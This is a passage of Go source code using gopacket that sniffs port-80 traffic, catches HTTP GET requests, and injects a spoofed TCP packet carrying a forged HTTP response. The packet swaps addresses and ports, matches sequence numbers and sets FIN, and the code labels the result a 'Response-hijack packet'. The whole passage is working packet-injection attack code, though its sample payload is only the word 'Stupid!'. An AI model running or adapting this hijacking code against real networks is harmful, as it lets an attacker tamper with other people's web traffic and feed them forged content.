packet.Layer(layers.LayerTypeTCP); tcpLayer != nil { if tcpLayer.(*layers.TCP).DstPort != 80 { continue } if tcpLayer.(*layers.TCP).SYN || tcpLayer.(*layers.TCP).RST { continue } data := string(tcpLayer.(*layers.TCP).LayerPayload()) if !strings.HasPrefix(data, "GET") { continue } fmt.Println("I got GET packet!") ethLayer := packet.Layer(layers.LayerTypeEthernet) eth := layers.Ethernet{ SrcMAC: ethLayer.(*layers.Ethernet).DstMAC, DstMAC: ethLayer.(*layers.Ethernet).SrcMAC, EthernetType: layers.EthernetTypeIPv4, } ipv4Layer := packet.Layer(layers.LayerTypeIPv4) ipv4 := layers.IPv4{ Version: ipv4Layer.(*layers.IPv4).Version, SrcIP: ipv4Layer.(*layers.IPv4).DstIP, DstIP: ipv4Layer.(*layers.IPv4).SrcIP, TTL: 77, Id: ipv4Layer.(*layers.IPv4).Id, Protocol: layers.IPProtocolTCP, } tcp := layers.TCP{ SrcPort: tcpLayer.(*layers.TCP).DstPort, DstPort: tcpLayer.(*layers.TCP).SrcPort, PSH: true, ACK: true, FIN: true, Seq: tcpLayer.(*layers.TCP).Ack, Ack: tcpLayer.(*layers.TCP).Seq + uint32(len(data)), Window: 0, } tcp.SetNetworkLayerForChecksum(&ipv4) data = `HTTP/1.1 200 OK Server: nginx Date: Tue, 26 Jan 2016 13:09:19 GMT Content-Type: text/plain;charset=UTF-8 Connection: keep-alive Vary: Accept-Encoding Cache-Control: no-store Pragrma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-cache Content-Length: 7 Stupid!` // Set up buffer and options for serialization. buf := gopacket.NewSerializeBuffer() opts := gopacket.SerializeOptions{ FixLengths: true, ComputeChecksums: true, } if err := gopacket.SerializeLayers(buf, opts, ð, &ipv4, &tcp, gopacket.Payload([]byte(data))); err != nil { fmt.Println(err) } if err := handle.WritePacketData(buf.Bytes()); err != nil { fmt.Println(err) } fmt.Println("I sent Response-hijack packet!") } } // dumpcommand.Run(handle) }